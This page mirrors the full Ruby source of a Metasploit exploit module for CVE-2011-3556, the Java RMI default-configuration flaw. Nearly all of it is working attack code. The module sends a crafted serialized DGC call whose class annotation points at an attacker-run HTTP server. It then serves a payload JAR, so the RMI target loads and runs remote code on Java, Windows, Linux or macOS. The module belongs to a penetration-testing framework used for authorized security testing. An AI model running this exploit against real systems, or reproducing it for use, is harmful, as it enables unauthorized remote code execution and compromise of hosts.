Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/java_rmi_server.rb
31164 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Java::Rmi::Client
10
include Msf::Exploit::Remote::HttpServer
11
include Msf::Exploit::Remote::CheckModule
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Java RMI Server Insecure Default Configuration Java Code Execution',
18
'Description' => %q{
19
This module takes advantage of the default configuration of the RMI Registry and
20
RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it
21
invokes a method in the RMI Distributed Garbage Collector which is available via every
22
RMI endpoint, it can be used against both rmiregistry and rmid, and against most other
23
(custom) RMI endpoints as well.
24
25
Note that it does not work against Java Management Extension (JMX) ports since those do
26
not support remote class loading, unless another RMI endpoint is active in the same
27
Java process.
28
29
RMI method calls do not support or require any sort of authentication.
30
},
31
'Author' => [ 'mihi' ],
32
'License' => MSF_LICENSE,
33
'References' => [
34
# RMI protocol specification
35
[ 'URL', 'http://web.archive.org/web/20110824060234/http://download.oracle.com:80/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'],
36
[ 'URL', 'http://www.securitytracker.com/id?1026215'],
37
[ 'CVE', '2011-3556']
38
],
39
'DisclosureDate' => '2011-10-15',
40
'Privileged' => false,
41
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
42
'Stance' => Msf::Exploit::Stance::Aggressive,
43
'DefaultOptions' => {
44
'CheckModule' => 'auxiliary/scanner/misc/java_rmi_server',
45
'WfsDelay' => 10
46
},
47
'Targets' => [
48
[
49
'Generic (Java Payload)',
50
{
51
'Platform' => ['java'],
52
'Arch' => ARCH_JAVA
53
}
54
],
55
[
56
'Windows x86 (Native Payload)',
57
{
58
'Platform' => 'win',
59
'Arch' => ARCH_X86
60
}
61
],
62
[
63
'Linux x86 (Native Payload)',
64
{
65
'Platform' => 'linux',
66
'Arch' => ARCH_X86
67
}
68
],
69
[
70
'Mac OS X PPC (Native Payload)',
71
{
72
'Platform' => 'osx',
73
'Arch' => ARCH_PPC
74
}
75
],
76
[
77
'Mac OS X x86 (Native Payload)',
78
{
79
'Platform' => 'osx',
80
'Arch' => ARCH_X86
81
}
82
]
83
],
84
'DefaultTarget' => 0,
85
'Notes' => {
86
'Reliability' => UNKNOWN_RELIABILITY,
87
'Stability' => UNKNOWN_STABILITY,
88
'SideEffects' => UNKNOWN_SIDE_EFFECTS
89
}
90
)
91
)
92
register_options([
93
Opt::RPORT(1099),
94
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
95
])
96
register_common_rmi_ports_and_services
97
end
98
99
def exploit
100
Timeout.timeout(datastore['HTTPDELAY']) { super }
101
rescue Timeout::Error
102
# When the server stops due to our timeout, re-raise
103
# RuntimeError so it won't wait the full wfs_delay
104
raise "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request"
105
rescue Msf::Exploit::Failed
106
# When the server stops due primer failing, re-raise
107
# RuntimeError so it won't wait the full wfs_delays
108
raise "Exploit aborted due to failure #{fail_reason} #{(fail_detail || 'No reason given')}"
109
rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e
110
# When the primer fails due to an error connecting with
111
# the rhost, re-raise RuntimeError so it won't wait the
112
# full wfs_delays
113
raise e.message.to_s
114
end
115
116
def primer
117
connect
118
119
print_status('Sending RMI Header...')
120
send_header
121
ack = recv_protocol_ack
122
if ack.nil?
123
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
124
end
125
126
jar = rand_text_alpha(rand(1..8)) + '.jar'
127
new_url = get_uri + '/' + jar
128
129
print_status('Sending RMI Call...')
130
dgc_interface_hash = calculate_interface_hash(
131
[
132
{
133
name: 'clean',
134
descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/VMID;Z)V',
135
exceptions: ['java.rmi.RemoteException']
136
},
137
{
138
name: 'dirty',
139
descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/Lease;)Ljava/rmi/dgc/Lease;',
140
exceptions: ['java.rmi.RemoteException']
141
}
142
]
143
)
144
145
# JDK 1.1 stub protocol
146
# Interface hash: 0xf6b6898d8bf28643 (sun.rmi.transport.DGCImpl_Stub)
147
# Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean))
148
send_call(
149
object_number: 2,
150
uid_number: 0,
151
uid_time: 0,
152
uid_count: 0,
153
operation: 0,
154
hash: dgc_interface_hash, # java.rmi.dgc.DGC interface hash
155
arguments: build_dgc_clean_args(new_url)
156
)
157
158
return_value = recv_return
159
160
if return_value.nil? && !session_created?
161
fail_with(Failure::Unknown, 'RMI Call failed')
162
end
163
164
if return_value && return_value.is_exception? && loader_disabled?(return_value)
165
fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled')
166
end
167
168
if return_value && return_value.is_exception? && class_not_found?(return_value)
169
fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload')
170
end
171
172
disconnect
173
end
174
175
def on_request_uri(cli, request)
176
if request.uri =~ /\.jar$/i
177
p = regenerate_payload(cli)
178
jar = p.encoded_jar
179
paths = [
180
[ 'metasploit', 'RMILoader.class' ],
181
[ 'metasploit', 'RMIPayload.class' ],
182
]
183
184
jar.add_file('metasploit/', '') # create metasploit dir
185
paths.each do |path_parts|
186
path = ['java', path_parts].flatten.join('/')
187
contents = ::MetasploitPayloads.read(path)
188
jar.add_file(path_parts.join('/'), contents)
189
end
190
191
send_response(cli, jar.pack,
192
{
193
'Content-Type' => 'application/java-archive',
194
'Connection' => 'close',
195
'Pragma' => 'no-cache'
196
})
197
198
print_status('Replied to request for payload JAR')
199
cleanup_service
200
end
201
end
202
203
def autofilter
204
return true
205
end
206
207
def loader_disabled?(return_value)
208
return_value.value.each do |exception|
209
if exception.class == Rex::Java::Serialization::Model::NewObject &&
210
exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
211
exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException' &&
212
[Rex::Java::Serialization::Model::NullReference, Rex::Java::Serialization::Model::Reference].include?(exception.class_data[0].class) &&
213
exception.class_data[1].contents.include?('RMI class loader disabled')
214
return true
215
end
216
end
217
218
false
219
end
220
221
def class_not_found?(return_value)
222
return_value.value.each do |exception|
223
if exception.class == Rex::Java::Serialization::Model::NewObject &&
224
exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
225
exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'
226
return true
227
end
228
end
229
230
false
231
end
232
233
def build_dgc_clean_args(jar_url)
234
arguments = []
235
236
new_array_annotation = Rex::Java::Serialization::Model::Annotation.new
237
new_array_annotation.contents = [
238
Rex::Java::Serialization::Model::NullReference.new,
239
Rex::Java::Serialization::Model::EndBlockData.new
240
]
241
242
new_array_super = Rex::Java::Serialization::Model::ClassDesc.new
243
new_array_super.description = Rex::Java::Serialization::Model::NullReference.new
244
245
new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new
246
new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;')
247
new_array_desc.serial_version = 0x871300b8d02c647e
248
new_array_desc.flags = 2
249
new_array_desc.fields = []
250
new_array_desc.class_annotation = new_array_annotation
251
new_array_desc.super_class = new_array_super
252
253
array_desc = Rex::Java::Serialization::Model::ClassDesc.new
254
array_desc.description = new_array_desc
255
256
new_array = Rex::Java::Serialization::Model::NewArray.new
257
new_array.type = 'java.rmi.server.ObjID;'
258
new_array.values = []
259
new_array.array_description = array_desc
260
261
arguments << new_array
262
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
263
264
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
265
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')
266
new_class_desc.serial_version = 0xa16544ba26f9c2f4
267
new_class_desc.flags = 2
268
new_class_desc.fields = []
269
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
270
new_class_desc.class_annotation.contents = [
271
Rex::Java::Serialization::Model::Utf.new(nil, jar_url),
272
Rex::Java::Serialization::Model::EndBlockData.new
273
]
274
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
275
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
276
277
new_object = Rex::Java::Serialization::Model::NewObject.new
278
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
279
new_object.class_desc.description = new_class_desc
280
new_object.class_data = []
281
282
arguments << new_object
283
284
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")
285
286
arguments
287
end
288
end
289
290